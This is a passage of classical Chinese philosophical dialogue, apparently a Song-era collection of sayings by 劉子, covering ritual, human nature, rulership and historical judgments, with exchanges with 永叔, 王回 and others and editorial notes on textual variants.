焉,淫佻之色無自見焉,上下察矣,逺邇一矣,然而附于辟者,衆所棄也。奚其慘?非聖王不能用肉刑。秦漢之用肉刑,暴矣,慘其末乎。漢文之革,不亦宜乎。\n人胥知行之由足,不知行之由目;人胥知視之由目,不知視之由心;人胥知生之由食,不知生之由道。三者異類而同義,如使人之行者莫如足也,則瞽者曷為有所不行也?如使人之視者莫如目也,則念者曷為有所不見也?如使人之生者莫如食也,則不義之食曷為有所不生也?生之依道,視之依心,行之依目,此天理之自然者也。知行之待目而不知生之待道,則外其生于道矣。夫外其生于道者,生而不以道者也。生而不以道者,猶行而不用目,其不陷于坑谷者幸而已矣。\n臨大事而不懼,守大節而不可奪,詖言不入,偽言不出,其惟知道者乎。\n君子貴曲能有誠,曲能有誠者藝之上也,而况直而誠之,誠而明之者乎。\n梓慶削木為鐻,不敢以毁譽觸其心,不敢以爵賞攖其慮,七日鐻成而若神,梓慶可謂知用巧矣。有為者亦然。今之懐道者,假譽于仁,邀賞于義,故弗成也。器而弗成,猶毁瓦也。\n事求可,功求成,何如?曰:不可。事求法,功求義,法而不可者有矣,義而不成者有矣,未有不法而可者也,未有不義而成者也。\n君子之道不出于中,中者所以并容也。賢者守焉,不肖者勉焉,并容所以為大也。決絶之行,君子不為。\n舜在深山之中,伊尹耕有莘之野,說築傅巖之野,亦憂天下乎?曰:不憂也、奚為不憂?賢者之生于世也,世亂固坐而視之乎?曰:天子憂天下,諸侯憂其國,大夫憂其政,士憂其職,庶人憂其業。天下已定矣,非其憂而憂之,亂也。天下固亂,而又亂之,是以使天下多事也。詩云:職思其憂。君子豈無所憂哉,亦思其職而已矣。或問舜伊尹傅說之職,曰:舜職其孝,伊尹職其耕,説職其築。\n或問孔席不煖,有諸?曰:有之矣。其皇皇也。曰聖人以其皇皇為道,衆人以其皇皇為利。或曰為道固皇皇乎?曰:迎之致敬則就之,言不行諫不用則去之,不皇皇何為?佛肹以中牟畔召孔子,孔子往,孔子不惡其畔歟?曰:惡之。惡之,曷為往也?曰:人之于仁也,無必不為。其于不仁也,亦無必為。知賢而召之也,非知仁歟?知仁也,不足與為善歟?知仁且為善,畔可使復合,危可使復安,亂可使復平,亦何為不往哉。\n或問君子疾没世而名不稱,使傅説死于胥靡,末如名之何矣,亦疾之乎?曰:君子之名有不幸而不稱,無幸而稱。小人之名有幸而不稱,無不幸而稱。其疾之也在已,其稱之也在人。君子能知其必疾也,而不能知其必稱也,奚疾之哉。\n或問:誠曰誠者,成也,成物者也。不成,物非誠也,何謂物?曰:君子則徳,小人則事徳。莫若修事,莫若敏,二者其誠乎。\n揚子雲曰賢者為人所不能為,揚子亦安知禮哉。夫賢者為人所能為而已矣。人所不能為,賢者不為也。\n或問君子矯乎?曰惟君子為能矯。君子之矯以為義也,小人之矯以為利也。君子窮而益堅,小人達而亦偽。\n富而無以為道也,則辭富貴。而無以為道也,則辭貴生。而無以為道,則舍生。惟仁者能之。\n或問伊尹比乎妹喜以滅夏,膠鬲比乎妲己以滅商,有諸?曰:否,此非智者之言也。桀為無道,嬖妹喜而殺其良臣,棄先世之典而絶百姓之命,百姓弗堪,伊尹為是相湯以滅夏,放桀于南巢。紂為無道嬖妲己,妲已之所悦而爵之,所惡而殘之,殺比干以遂其怒,百姓弗能忍,武王為是伐紂而殺之。當是時膠鬲諫而不入,使之問師期,期後武王趨而救之,猶紂臣也。吾聞得天下者得其民心者也,有天下者不利天下者也,如湯武因人之嬖以取其國,是利之也。何以為湯武?鄭穆公將伐胡則妻之,句踐有吳之怨入西子焉,夫搆人于禍而後殘之,陷人于危而後幸之,此不仁者之所為也,而謂湯武為之乎?\n太上無文,其次有而不恃,其次恃之而治,其次治之而不足恃。\n君子有四擇:擇術然後學之,擇師然後傳之,擇交然後親之,擇君然後事之。是以君子有終身之憂,無一朝之患也。\n施而不報者吾未之見也。廟堂之上獻以爵,酬以觚,一獻而三酢,民猶以為薄。故君不可以弗厚施也。\n治國家天下者去利之心而已矣。國君過市有罰,夫人過市有罰,命夫命婦過市有罰,徒過之而已矣。猶曰不可,况親利之者乎。\n禁過于微則人樂遷善,防患于小則患逺矣。或曰禮齒路馬有誅,以足蹴路馬芻有誅,不已亟乎?曰:是所謂逺其防者也。路馬者君之路馬也,路馬之可敬,况其君乎。是以國家之敗,常必自其小者始焉。民無嚴君之心,則無為貴禮矣。\n成民而後使之則無怨民,教民而後用之則無失人。\n犬馬之勞不可棄也,厚之至也。\n禮也者,大為之,為其小也;逺為之,為其近也;厚為之,為其薄也;深為之,為其淺也;謹為之,為其怠也,此之為禮之情。知禮之情者,所以作禮也。\n過而能知,知而能改,上也。過而不知,知而能改,次也。既不能知,又不能改,下也。\n衡平也,故準之。繩直也,故度之。鏡明也,故監之。君子成徳以待物至也,輕重出焉,曲直決焉,醜好分焉,誰能蔽之哉。\n委巷之禮小人悦之,君子恥行焉。先王之禮君子悦之,小人恥行焉。詩云:彼醉不臧。不醉反恥行。不由先王之禮,猶醉也。惟君子能忍是恥也。詩云:憂心悄悄愠于羣小。\n吾乃今知禮之為貴也,用于未亂而不用于已亂。臣弑其君子弑其父,則揖遜為之詬矣。\n學所以為已也,推而及人。仕所以為人也,推而及已。推而及人,故不以人害已。推而及已,故不以已害人。\n君子之得其時者,將以行其道也。道不行猶為不得時也。叔孫通制漢禮,得其時矣。君子恥之者,以道不得行也。\n或曰子三年無改于父之道,若其不善也,亦無改乎?曰:否,改其惡無改其道,謂之道矣。若之何改之,三年不改焉,雖終身不改矣。\n信善者毁譽不能惑也,毁譽不能惑也則信善已乎?曰:未也,貧富不能易也。貧富不能易也則信善已乎?曰:未也,貴賤不能動也。貴賤不能動也則信善已乎?曰:未也,生死不能誘。生死不能誘則幾于至矣,雖至乎至者蔑以加矣。\n文王謂武王曰,我百爾九十,吾與爾三焉。聖人固能與人壽若此乎?曰否,不然也,昔者武王既克商有疾,諸大夫懼,請穆卜于先君。周公于是為壇,請命于文王,卜之以三王之龜而吉。書曰王翼日乃瘳,復三年王乃崩。世以為文王與之也。是以傳于此言也,聖人不能以其壽與人也。\n士可使見義,不可使見利。民可使見徳,不可使見刑。\n齊無知弑襄公,孟陽死于牀,石之紛如死于階下。崔氏弑荘公,荘公臣死者十人,晏子端委立于門外,莫之死,亦莫之亡。\n四民異業而莫不相悦者,職分均也[案莫不相悦,一本作莫相悦]\n制度不定,雖殫天下之富其求不給。\n富貴不可矜也,富貴而攻之者,衆以其可矜。譬如明珠潜于千仞之淵,沒人取之。\n莫善乎性,人之學求盡其性也。學而不能盡其性有之矣,未有不學而能盡其性者也。\n性猶弓也,學猶力也,雖有千鈞之弓,引之弗滿,弗能貫也。豈弓力為有不足哉,所以用之者不足也。\n上之治下職也,下之事上亦職也,上不能治下則昬,下不能事上則亂。亂則喪身,昬則喪位,其事一也。\n孔子之教人也,猶量也。豆區釡鍾因其能容,放乎足而止。\n五帝之治,翼翼如也。三王之治,兢兢如也。危國者必自暇,亡國者必自佚。詩曰彼昬不知,壹醉日富。\n違禍如水火猶有及焉,去辱如溝隍猶有隕焉。不早辨故也。無日不違無日不去,則何悔吝之有。詩云:不敢暴虎不敢馮河。人知其一,莫知其他。一近而他逺也。\n世有道則其民質,其士貴,其鬼神。世無道則其民巧,其士賤,其鬼不神。\n舜之受天下也禮辭,禹之受天下也固辭,益之受天下也終辭。非苟降殺也,時也,聖人從時。\n進莫若讓,勇莫若義,貴莫若仁,富莫若廉。\n民可刑也而不可辱,可懼也而不可怒,可親也而不可怨。\n或問公孫弘兒寛以儒術飾吏事,何如?曰:巧矣。不有毁也,其能飾乎?或曰與其莫用飾,不亦近乎?曰:君子逺之為道,小人近之為利,苟可飾也,奚往而非義也。為義而飾民進于偽,偽實害徳,百度昬矣。其有不佻乎?詩曰其維哲人告之話言順徳之行,其維愚人覆謂我僭民各有心。非徳之順而心,是制民各有心,何上之有。民之情也凌上,其性也好徳。\n禘帝也,不王不禘。虞夏禘黄帝,商周禘嚳,皆帝也。諸侯不敢祖,天子不敢祖。天子則亦不敢禘,故魯之禘非禮也。\n卷三\n或問鄉飲酒之禮,劉子曰:所尚三徳也,年也爵也,俎豆之事則人知之矣。敢問三者兼乎?曰:然。如何?曰:謀賓介于先生,尚徳也;旅酬以齒老者異秩,尚年也;大夫為僎坐于賓東,尚爵也。三者天下之達尊也,夫如是,故觀于鄉者,其一曰彼壮也而先老,何也?曰惟其徳也。然後民退而修徳。其二曰彼羸也而先富,何也?曰惟其長也,然後民退而事長。其三曰彼後入也而異席,何也?曰惟其貴也,然後民退而貴貴。故先王不賞而民勸,不令而民從,一事而三美備焉,其惟鄉飲酒乎。\n非聖主不能封建,非封建不能長世。\n善于義之為善也,雖不利于已,天下善之,已亦善之,而善安有不勸乎;惡于義之為惡也,雖利于已,天下惡之,已亦惡之,而惡安有不懼乎。\n安民也,世祀也,養已也,君之不同也。安民者無危,世祀則有死矣,養已者亦未之常存。\n不以仁而為之,不以不仁而不為,上也;以仁而為之,以不仁而不為,次也;不知仁而為之仁,不知不仁而不為不仁下也不以仁而為之不以不仁而不為者性也未始入于非以仁而為之以不仁而不為者智也畏乎不仁不知仁而為之仁,不知不仁而不為不仁者,出入也。有幸矣,不知仁而為之仁。亦有不知仁而不為,不知不仁而不為不仁,亦有不知不仁而為之,不知仁而不為,亦有知仁而不為,不知不仁而為之,亦有知不仁而為之。荀子不知性,揚子不知命,韓子不知道。荀子言聖人之性以惡,言聖人之道以偽,惡亂性偽害道,荀子之言不可為治。揚子劇秦美新,畏禍投閣,苟悦其生而不顧義。湯有夏臺,文王有羑里,周公奔楚,仲尼畏于匡,非其義貴之不受,非其罪虐之不辭,為畏而投,與刑而死,同為投而死,與刑而誅異。揚子之道不可以教。韓子言聖賢者時人之耳目,時人者聖賢之身,耳司聞而目司見,身然後安。聖賢汲汲憂天下之憂,明其義曰孔席不暇煖、墨突不得黔,數進不恥,數退不怒,不得出貴人之門為懼,使天下學者矜于功名、進于勢利,墨道也。古者士脩其身,鄉里不知,朋友恥之;朝廷不用,有司恥之。君子之行不由于人之所可賤,是故不聘之女祭祀不為主,不聘之士朝廷不為用,韓子不知道,可為具臣,不可為大臣。\n物莫靈于鑑[案靈一本作鄰],其守也一,其應也博,其居也以平。以平為道者也。\n春秋之誅也,先意而後事,其賞也先事而後意。有其善無其功,君子不賞也,賞之弗信;有其惡無其志,君子不誅也,誅之不服。先意而後事,是以刑不濫;先事而後意,是以賞不僭。刑不濫,賞不僭,王道之盛也。\n天之道有常,人之道無常。無常所以應有常也;天之道無為,人之道有為。有為所以應無為也;天之道不言,人之道有言,有言所以應不言也;天之道無形,人之道有形,有形所以應無形也。天之于人相反也,其相反猶相徇也,故聖人黙而成之。既已有為矣而謂之無為,既已有言矣而謂之無言,既已有形矣而謂之無形,是荘老也,非正名實之言也。\n劉子謂楊異曰:鼔舞鏗鏘,吾不知其異于樂也,然而知鼔舞鏗鏘而不知其義者,是制氏之樂也。折旋俯仰,吾不知其異於禮也,然而知折旋俯仰而不知其理者,是徐氏之禮也。簡牘筆墨,吾不知其異于道也,然而知簡牘筆墨而不知其道者,是世俗之儒也。故君子務本。\n史之諱國惡非禮也,晉人殺靈公,董狐書之曰趙盾弑君,趙盾曰嗚呼天乎,盾豈弑君者乎。董狐曰,趙穿弑君而子不討賊,弑君者非子而誰。仲尼曰董狐良史也,書法不隠,故史之諱國惡非禮也。曰:然則春秋何以諱國惡,春秋不足法乎?曰:春秋至矣,史不足以當之。孔子曰其事齊桓晉文,其文則史,其義則丘有罪焉。故春秋至矣,史不足以當之。\n問瞽者之色,白曰皎然,黒曰黯然,青曰蒼然,丹曰赫然,黄曰煴然。問之其别,不知也。問聾者之音,宫曰温以厚,商曰廣以廉,角曰和以愉,徵曰清以辨,羽曰堅以微,問之其次,不知也。問衆人之道,仁曰博愛,義曰禁非,禮曰卑遜,智曰通物,信曰不欺,問之其用,不知也。然則瞽者能得五色之名,聾者能得五音之名,衆人能得五常之名,未足貴也。貴道者貴其施之而不悖,理之而皆得,言之而不惑也。非貴知其名也。\n臨尸而不怍,則可以為孝子矣。\n天子之玉全,上公厖侯伯瓚子男將,貴者取純焉,賤者取駮焉。夫學亦猶是矣。全而純者玉也,次厖也,次瓚也,次將也,石為下。\n或問:資于事父以事君,君之使臣,猶父之使子。父之使子,雖辱不辭,雖勞不怨。詩曰大夫不均我從事獨賢。然則詩人怨乎?劉子曰:父子性也,君臣義也;父子内也,君臣外也。詩人之怨有使之然也。故事親有慕而無怨,事君有怨而無懟。\n聖人行而當,理非求當也,自當也。言而中律,非求中也,自中也。\n或問吳充曰:衛輒拒父則逆親,不拒則廢命,為衛輒宜奈何?吴充曰:合國人而聴之。楊緯以吳充之言問劉子,劉子曰:否,以謂聴于國人則公矣。國人君臣也,蒯瞶父子也。君臣主義,父子主親,義無廢命,親無絶屬。與國人慮兄弟君,天下不為也。若之何,與國人慮其親哉[案哉一本訛作或]。且衛有君矣,國人不忘其君,輒忘其親乎。堯有天下讓之舜,舜有天下讓之禹。堯舜之有天下也,非無所命之也。已而遷焉,天下有非之者哉。\n或問:孟子曰舜為天下,臯陶為士,瞽瞍殺人,則如之何?孟子曰舜視棄天下猶敝屣也,竊負而逃,遵海濱而處,終身訢然,樂而忘天下,故父子天性也。孟子可謂知舜矣。\n志近者聞逺則悲,志小者見大則疑。詩云憂心悄悄愠于羣小,逢不善之謂也。\n知性者不可惑以善惡,知道者不可動以富貴,知命者不可貳以生死。\n梁惠王問利國,孟子知其非問財,利也,然而曰王何必曰利者,利不可為號也。齊威王問好樂,孟子知其非好先王之樂也,然而曰王之好樂甚,則齊庶幾者,樂可以為名也。故號之不可傳者去之,名之不可教者正之,故兼愛,為我絶學棄智之説,君子弗聴。\n或曰:臧堅勇乎亷矣。劉子曰:是安得為勇且亷哉。彼喪其衆而不死,惑也;恥一言而死之,忿也。且堅者惑忘其死、忿忘其生者也,勇者忘其死乎,亷者忘其生乎?\n或曰:儒者無益於勝敗之數,秦漢之勢,原憲季次,無益也。曰:然。儒者無益于勝敗之數,勝敗故不及儒者之治矣。\n願大而不志于仁,亂也;好勝而不志于禮,賊也。\n行斯政也,使天下之人服,是王者之政矣。出斯言也,使天下之學者悦,是聖人之言矣。故王者之政服人心,而聖人之言悦人性。政莫大于得人心,得人心者,非夫得衆人之心,得賢者之心也。民之于賢也,其動以為法,其言以為政,故賢者所就就之,所去去之,國未有不以是而存亡者也。武王曰予有亂臣十人,同心同徳,自古莫盛焉。武王之有天下朝諸侯猶反掌也,此之謂得人心,自信也故能使人信已,自愛也然後可以愛人。不自信雖欲教人不行,不自愛雖欲愛人偽矣。\n或問克已復禮,曰:賢者就之,不肖者勉之,克已矣。然則是仁矣乎?曰:純則仁,駮則否,一日克巳復禮而求仁焉,天下孰能歸之。\n不仁者有三殆:富則見怨,貴則見嫉,有功則見疑。三者非人予也,自予也。\n或曰:黄帝堯舜垂衣裳而天下治,蓋取諸乾坤。何謂也?曰:無為而已矣。天無為四時行焉,地無為百貨出焉,君無為百官治焉。何為哉。\n爵可貴也,財可富也,賞可勸也,罰可威也。中人也。君子貴不待爵而重矣,富不待財而厚矣,善不待賞而勸矣,過不待罰而沮矣。然而貴貴焉富富焉賞賞焉罰罰焉,中人之法也。若夫貴富賞罰,則非君子之事也。\n苟可貴也,則可賤也;苟可富也,則可貧也。君子貴乎非貴,賤乎非賤,富乎非富,貧乎非貧者也。其動中禮,其静中仁,斯已矣。\n貴不為賤也,貴有道;富不為貧也,富有禮。是王者之臣也。貴且為賤也,術得行焉;富且為貧也,政得治焉。是霸者之臣也。貴為賤而已富,為貧而已是,敝國之臣,必禍之勢也。\n聖人有所不言而無不知也,賢人有所不言而亦有所不知,衆人有所不知而無不言。\n所恥而不恥,愚也。非所恥而恥,惑也。\n有仁心而不施之政焉,民不信也。有仁政而不施之法焉,後世弗徇也。故君子有其心必見于其政,有其政必著于其法。\n或問:百姓不親,五品不遜,不祥莫大焉。瞽瞍以殺舜為事,象從而謀之,帝曾弗能禁乎?劉子曰:禁則誅,誅則傷孝子之心。聞屈子以伸父矣,未聞屈父以伸子也。詩云孝子不匱永錫爾類。\n聖人受命於天,賢人受命于聖人。故聖人之命亦天命也。子事親臣事君,出于聖人者也。是以問聖人者,問其所為,毋問其所以為。問其所知,毋問其必不可知,子路是矣。子路問鬼,子曰未能事人焉能事鬼。又問死,子曰未知生焉知死。故聖人有所不言也,賢者有所不問也。聖人所不言而言之,雖辯弗聴;賢者所不問而問之,雖精弗復。\n名者所争也,過者所匿也,君子晦其名而衆不得,蓋焉明其過而世不得非焉。\n或問仁人,曰:仁人者死生無變乎已,而况于富貴貧賤乎。或曰若是則荘老何足異?曰:荘老也過仁人,過乎哉。孔子曰顔氏之子其殆庶幾乎,有不善未嘗不知,知之未嘗復行也[案此條一本誤分孔子曰以下另為一條]。\n或曰仁義禮智不若道之全,劉子曰:春夏秋冬别于天者也是以為時,金木水火别于地者也是以為用。使天不時地不用,則無以知其大矣。所謂道者,固仁義禮智之名也。仁義禮智弗在焉,安用道。\n人無為不祥也,而後受其祥。所謂不祥者,少陵長不祥也,賤干貴不祥也,愚蔽賢不祥也,强駕弱不祥也。少陵長,長亦或陵之;賤干貴,貴亦或干之;愚蔽賢,賢亦或蔽之;强駕弱,弱亦或駕之。其類還至也。今有變怪之物、鬼神之事,至于此則人必以謂不祥且有禍矣,至于身不祥則莫之能察者,不亦惑哉。\n世之命仁也則愛而已矣,奚足焉。有所謂愛而不若其不愛,奚以為仁哉。仁者人也,今指人之一體而言人,可乎?知一體之為人,不知人之非一體也,何以異于知愛之為仁,而不知仁之非愛也?孔子罕言仁。曰:曷為其罕言也?曰:不足言也。其不足言何也?仁者安之也,非强之也。知夫安之也何言哉?孔子曰中人以下,不可以語上也。\n畏之斯師之矣,樂之斯友之矣,是故師之者雖死不倍其道,誠以為是也。友之者終身不貳其義,誠以為當也。暫而言道必得輕焉,强而言道必得争焉。輕争之人,不可以為師。師無輕者也,師無争者也。\n恃賞罰而為國,不若其遺賞罰而不恃也。君君臣臣父父子子,苟為厚于義而薄于利,賞罰無所用矣。夫賞也者,賢者所薄也,不得已而居之。罰也者,小人所薄也,不得已而用之。\n劉子曰:天地之神也,待人而成功,而况乎人之不及天地乎。\n逺于利可謂士矣,逺于利,篤于學,可謂士君子矣。逺于利,篤于學,成于禮,可謂仁者矣。\n人之性善而自以為惡,人之情正而自以為邪,非情無性,非性無善,性之與情,猶神之與形乎。今夫盲者不能别五色,聾者不能昭五聲,非無聰明也,形不使也。人之所以去善而為不善者,亦若此矣。豈性不善哉,情不使也。因之謂性惡矣,是亦謂耳目非善也。夫盲者不夢盲而夢明,俄然覺則盲矣。聾者不夢聾而夢聰,俄然覺則聾矣。然則聰明非不存也,物有蔽焉耳。人之困于情,亦猶是也。\n或曰:治國以刑名,猶愈乎已。劉子曰:然。天下大治則無所用刑,上下分定則無所用名。刑名者亂之資也,小亂則解,大亂則駭。雖有刑名亦不得施矣。夫懐之以仁義,道之以禮樂,迨其敝而後刑名繼之,變未窮也。\n劉子曰:道之所以不明者三,智者損之以就功,賢者文之以便已,學者析之以遂名。故道之所以不明者三,非小人不肖之過也。凡在賢智而已矣。古之為道者大而不損,致而不文,玩而不析。\n有仕為天下者,有仕為國者,有仕為家者。仕為天下者,徳合則見,不合則隠;仕為國者,雖徳未合,有禮則留,無禮則行;仕為家者,不謀人之軍,不議人之國,寵則辭之,危則避之。是皆君子之義也。任輕而憂重,勢疎而慮宻,其惟好亂之人乎。\n劉子曰:仕有三恥,相時而為道者恥也,希俗而為功者恥也,飾義而為名者恥也。\n劉子曰:道諛有三,飾人之意謂之鄉原,伺人之色謂之籧篨,服人之言謂之戚施。士不修其方而游富貴者,皆鄉原籧篨戚施之類也。\n鸋鴂鳥之巧者也,而常以其巢覆其宗。鸋鴂之巧至于害而已矣。夫智不知擇安危之處,而美其宫室,則亦奚以異鸋鴂之巧哉。\n劉子曰:有命必有性,性者命之分也。有形必有情,情者形之動也。\n劉子曰:凡學志為本,道次之,文次之。無其志為其道不立,無其道為其文不傳。\n或問明哲,劉子曰:自知之謂明,知人之謂哲。\n劉子曰:郊以嵗始,蜡以嵗終。終始之義也。三代共之。\n劉子曰:為君有患,患不知人,不患無臣;為臣有患,患不能治身,不患不能治民。故君必不知人然後無臣,臣必不能治身然後不能治民。知人有道也,無以名妨實;治身有道也,無以逺謀近。人自為正而國治耳。\n劉子曰:深于易者吉凶不待占矣。此之謂知微。\n劉子曰:常事禮也,變事權也。堯禪舜舜禪禹湯放桀武王殺紂伊尹放太甲周公攝成王,權也。聖人仁人無所不用權,惟聖人仁人然後可以用權。\n為人臣者不可以不自重也,食而廢事,君雖弗誅,則犬豕畜之。媚而廢節,君雖弗誅,則倡優畜之。妒而廢能,君雖弗誅,則婢妾畜之。巧而僥倖,君雖弗誅,則冦竊畜之。此四者,非君予其名也,自予之也。\n或問:子罕言利與命與仁,何也?曰:利非所以為號也,命非所以明教也,仁非所以常道也。利為號必失所以利,命明教必惑所以教,仁常道必輕所以道。\n自外至者無主不止,自内出者無匹不行。孔子曰可與言而不與言失人,不可與言而與之言失言。吾未見好仁者。惡不仁者,蓋有之矣,我未之見也[案以上二條一本誤連為一條]。\n功名之説立則道徳微。古之君子以道事上,以徳畜下,勝國而非謀也,富國而非利也,齊衆而非刑也,克敵而非力也。凡在道徳,是故竒變之巧矯偽之行,君不以賞于朝,士不以教于國,史不以書于冊。\n君使臣報也,臣事君報也。君人報其徳,臣人報其食。報也者,報其直者也。直者天下之公也,薄施而厚報之,君子不為。工尹商陽是也。厚施而薄報之,君子不可,豫讓是也。\n射者勝而飲,慶也。下而飲,罰也。于飲酒而有恥焉,故刑可以不用也。\n禮者幣之質也,自我往者縁其質以出其文,自外来者縁其文以觀其質。\n聖人之所言,吾有不達而無有非;聖人之所為,吾有不知而無有疑。聖人受命于天,賢者受命于聖。\n卷四\n王囘問曰:堯命治水,四岳薦鯀。堯曰方命圮族,然猶試之九年。若是乎,聖人之不愛民也?劉子曰:否,奚謂此哉。堯將以盡民心者也。洪水方割浩浩懐山襄陵,當是之時民猶倒懸也,能釋是懸者,民之望之猶父母也。自四岳九牧、天下之人,以鯀為能釋之,然而堯不用,則是奪之父母也。奪之父母而水不治,天下之怨非堯尚誰哉。聖人之政也,務盡于民心,而不以獨智知,不使已負疑于天下為天下而非已也,故賞而天下莫不從,罰而天下莫不服,愛民之至,莫大于是。\n劉子曰:聖人神也,神也者不見而形,不言而知,不行而速者也。王囘曰:然則聖人不可及乎?劉子曰:否,其可及也者皆可及也,其不可及也者則不可及已。聖人之言有不可以智知,聖人之為有不可以理推,是皆天也,獨聖人知天命之可以然、可以不然。王囘曰:然則聖人不可知乎?劉子曰:否,其可知也者皆可知也,其不可知也者則不可知也已矣。其神也,其天也,吾不知其可知而知、其不可知矣。王囘曰:子之言聖人也太尊。劉子曰:然,衆人之言聖人也太卑。人有言曰,琢圭玉可以為日月之明,子必不信也。琢圭玉可以為日月之形,子必信之矣。然則以圭玉為日月之明,雖良工止焉;以圭玉為日月之形,雖拙工勉矣。將卑日月以止良工乎,髙日月以勉拙工乎。\n王安石曰:性者太極也,情者五行也。五行生于太極,而後有利害。利害非所以言太極也。情生于性而後有善惡,善惡非所以言性也,謂性善惡者妄也。劉子曰:王子之言,其謂人無性焉可已。夫太極者氣之先而無物之物者也,人之性亦無物之物乎。聖人之言人性也,固以有之為言,豈無之為言乎。是亂名者也。王子曰人之性無善惡之稱,彼善不善者情之成名也。然則聖人無所言性可矣。易曰乾道變化各正性命,夫不以物為無性、性為無善,而以性為善,或不得本者也。如物也而無性,性也而無善,則乾尚何化而化,尚何正之有?夫言性而明其無性者,不足以明性,而固惑于有性者也。説何以免此。王子曰情生于性而有善惡焉,善惡乃非性也,往應之曰雛生于卵而有雌雄,然則雌雄生于卵之前乎,生于雛之後乎?雌雄生于卵,卵雖無雌雄之辨,不可謂卵無雌雄也。善生于性,性雖未有善之動,豈可謂性無善哉?彼卵而無雌雄,性乃可以無善矣。\n歐陽永叔曰:趙盾弑其君,加之弑乎,誠弑之乎?劉子曰:加之爾。何以加之也?曰:不知賊之為誰而不得討,可也;知賊之起也而力不能討,可也;知賊矣,力足以討矣,縁其親與黨而免之,是以謂之弑君也。曰:今有殺人者,有司足以執之而不執也,然則謂有司殺人,可乎?曰:否。不不君固非人之此也,大臣之於其君,豈有司之于其人乎?君親之間聖人加焉,後世猶亂,况勿加也。書曰議事以制,此之謂也。\n或曰:契生于娀簡狄,后稷生于姜嫄,詩人以為天命之,何也?曰:王者之興固然不已怪且神乎,古之有是多矣。惟不以怪而以為理,是以聖人存之。可得聞乎?曰:王者之興也,其符絶人,其徳絶人,其功絶人,三者參而王。有其徳,無其符,無其功,不能以王。仲尼是也;有其徳,有其功,無其符,不能以王,夏之益、商之伊尹、周之周公是也;有其符,有其徳,有其功,然後王,夏商周漢皆是也。故曰配天。\n永叔問曰:人之性必善,然則孔子謂上智與下愚不移,可乎?劉子曰:可。愚智非善惡也,雖有下愚之人,不害于為善。善者親親尊尊而已矣。孔子謂子貢曰,女與回也孰愈,對曰賜也聞一以知二,囘也聞一以知十。然則其亦有聞十而知一,聞百而知一,聞千而知一者矣。愚智之不可移如此。\n深甫曰:泰伯讓一國而曰讓天下,何也?劉子曰:惟至徳者能以百里王天下,能以百里王天下者,雖未得天下能以百里讓,是亦讓天下矣。讓者,推已之所能有而與人者也,非其有而居之謂之盜,非其有而與之謂之佻。劉子曰:教者所以明民也,明民者其猶迷之有表乎。一則得,多則惑,天下之表亦衆矣,欲民之無惑難矣。\n劉子曰:道廢則士之為私議者衆,而後有楊墨;政亂則民之圖非福者衆,而後有佛老。庶之富之,教之節之,事非其方者恥之。子思不去其親,臣思不去其君,天下安有不治乎。\n人之議所親也則欺,所賢也則囘,所貴也則隨。欺者私也,囘者疑也,隨者畏也。君子雖私不欺,雖疑不囘,雖畏不隨。故父兄之私諱而已矣,聖賢之疑辨而已矣,君上之畏直而已矣。\n學不能至于自足者,好為人師。道不能至于自得者,急言天下之憂。\n士未可言而言者,及其可言也或不言矣。未可憂而憂者,及其可憂也或不憂矣。有利之心存焉,君子不由也。人自以為忠者衆,而明于忠者寡。人自以為仁者衆,而至于仁者寡。忠者以厚得之,用力為下;仁者以静得之,愛利為下。\n君子有過而無罪父子之親也君臣之義也朋友之交也骨肉之愛也君子過于厚不過于薄觀其過可以知仁矣\n劉子曰:天地之運一動一静,四時寒暑一進一退,萬物一生一死一廢一起,帝王之功一盛一衰,祅異變化一出一没,此皆理之自然者也。惟聖人窮于理,理者微而著、隠而顯者也,猶羿之射也,在百步之外而不失秋毫,射之理先盡矣。\n子貢曰夫子之文章可得而聞也夫子之言性與天道不可得而聞也敢問其不可得聞何也曰神神也者不疾而速不行而至者也萬物之性未嘗同而聖人盡之剛柔也遲速也淺深也明晦也燥濕也應而不窮者也物固未嘗無性而性未必善也人之性善矣而未必能自知也學者能自知矣而未必能盡已也君子能盡已矣而未必能盡人也人之與人其類同仁人能盡人矣而未必能盡物也故可以聞者言也不可以聞者其所以言也\n永叔曰:以人性為善,道不可廢;以人性為惡,道不可廢;以人性為善惡混,道不可廢;以人性為上者善下者惡中者善惡混,道不可廢。然則學者雖毋言性,可也。劉子曰:仁義性也,禮樂情也。以人性為仁義,猶以人情為禮樂也。非人情無所作禮樂,非人性無所明仁義。性者仁義之本,情者禮樂之本也,聖人惟欲道之達于天下,是以貴本。今本在性而勿言,是欲導其流而塞其源,食其實而伐其根也,夫不以道之不明為言,而以言之不及為説,此不可以明道而惑于言,道不可以無言而迷于有言者也。\n劉子曰:君子小人之恥過也同,欲善也同。君子恥過而改之,小人恥過而遂之。君子欲善而自反也,小人欲善而自欺也。其斯所以異乎,雖桀紂未嘗不自多以無過,未嘗不好人之謂已善也。吾以是驗之,君子小人之恥過也同欲善也同,所以異者微耳。楊朱哭衢塗,曰此夫失一舉足而差以千里者歟,此之謂也。\n永叔曰:老子貴無為,然則極老子之無為,且將大不為國小不為家,開口而哺仰人而食,安坐徒處而已矣。劉子曰:非也,貴無為者,以其可以無不為也。無不為者惟無為獨也,此聖王之道,仁人之守,非老子之蔽。知老子之蔽者,其絶聖棄智、絶仁棄義、絶學棄禮,號不可以教者也。老子為柱下史矣,未嘗以無為廢其職。然則無為非所以廢職也,舜耕而化陶而化漁而化賈而化,知夫無為也,故能屢化。不夫無為也,躓于物久矣。\n劉子曰:道莫大乎仁,仁莫要乎一。一者無不貫也,無不載也。一在内,萬在外,一之至貴賤貧富壽夭生死,不見其異焉。進退取舍動静語黙,不見其二焉。事有制者也,禮有節者也,言有物者也,所以事者不出于制,所以禮者不出于節,所以言者不出于物。乘夫無心以遊無欲,大矣。\n永叔曰:何以謂復其見天地之心也?劉子曰:復者静,静者天地之性也。知静者非静之至也,動而反于静也,性静者静之至也,未嘗知静而為萬物應,故曰天地之心也。永叔曰:人之生也,一生一死一覺一寐,生動也而死静,覺動也而寐静,所謂静為復者。然則天地之心死且寐也,人之復死且寐歟?劉子曰:非此之謂也,復静者,言得一也。得一者純粹,積于胸中,與物變化,而不以外傷内者也,非死且寐之謂也。有人于此,耳目聲色猶衆人也,形體動作猶衆人也,然而未嘗以外傷内,未嘗以内隨外,可以謂之動乎?然則復其見天地之心,可知也。\n或曰:召公為保,周公為師,相成王為左右,召公不悦。敢問召公之不悦,何也?曰:疑。其疑何也?曰:以周公為不可復三公之列。夫既嘗南面而聴天下矣,復子明辟,又留而不去,潔于節者不為。夫周公之意,以文武之道未之能大備,備之者已而已矣,是以北面就諸臣之位,匔匔如畏然,攝天子之位而不自以為泰,反以三公處而不自以為少,死則葬于成周。聖人之忠也。然則召公不知周公歟?曰:否,召